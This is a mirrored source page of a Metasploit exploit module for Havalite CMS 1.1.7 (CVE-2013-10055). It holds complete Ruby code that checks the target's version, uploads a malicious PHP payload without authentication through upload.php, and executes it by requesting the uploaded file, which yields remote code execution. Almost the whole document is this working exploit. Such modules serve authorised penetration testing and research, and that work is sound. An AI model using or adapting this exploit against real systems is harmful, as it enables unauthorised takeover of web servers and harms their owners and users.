Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/havalite_upload_exec.rb
24491 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",
17
'Description' => %q{
18
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
19
possibly prior. Attackers can abuse the upload feature in order to upload a
20
malicious PHP file without authentication, which results in arbitrary remote code
21
execution.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'CWH',
26
'sinn3r' # Metasploit
27
],
28
'References' => [
29
['CVE', '2013-10055'],
30
['OSVDB', '94405'],
31
['EDB', '26243']
32
],
33
'Payload' => {
34
'BadChars' => "\x00"
35
},
36
'Platform' => %w{linux php},
37
'Targets' => [
38
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
39
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
40
],
41
'Privileged' => false,
42
'DisclosureDate' => '2013-06-17',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options(
53
[
54
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
55
]
56
)
57
end
58
59
#
60
# Checks if target is running HavaLite CMS 1.1.7
61
# We only flag 1.1.7 as vulnerable, because we don't have enough information from
62
# the vendor or OSVDB about exactly which ones are really vulnerable.
63
#
64
def check
65
uri = normalize_uri(target_uri.path, 'havalite/')
66
res = send_request_raw({ 'uri' => uri })
67
68
if not res
69
vprint_error("Connection timed out")
70
return Exploit::CheckCode::Unknown
71
end
72
73
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
74
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
75
76
if not version.empty? and version =~ /1\.1\.7/
77
vprint_status("Version found: #{version}")
78
return Exploit::CheckCode::Appears
79
end
80
81
Exploit::CheckCode::Safe
82
end
83
84
#
85
# Uploads our malicious file
86
#
87
def upload(base)
88
p = get_write_exec_payload(:unlink_self => true)
89
fname = "#{rand_text_alpha(5)}.php"
90
91
data = Rex::MIME::Message.new
92
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
93
post_data = data.to_s
94
95
res = send_request_cgi({
96
'method' => 'POST',
97
'uri' => normalize_uri(base, 'havalite', 'upload.php'),
98
'ctype' => "multipart/form-data; boundary=#{data.bound}",
99
'data' => post_data
100
})
101
102
if not res
103
fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
104
elsif res.code.to_i == 404
105
fail_with(Failure::NotFound, "#{peer} - No upload.php found")
106
elsif res.body =~ /"error"\:"abort"/
107
fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
108
end
109
110
return fname
111
end
112
113
#
114
# Executes our uploaded malicious file
115
#
116
def exec(base, payload_fname)
117
res = send_request_raw({
118
'uri' => normalize_uri(base, 'havalite', 'tmp', 'files', payload_fname)
119
})
120
121
if res and res.code == 404
122
fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
123
end
124
end
125
126
def exploit
127
base = target_uri.path
128
129
print_status("Uploading malicious file...")
130
fname = upload(base)
131
132
print_status("Executing #{fname}...")
133
exec(base, fname)
134
end
135
end
136
137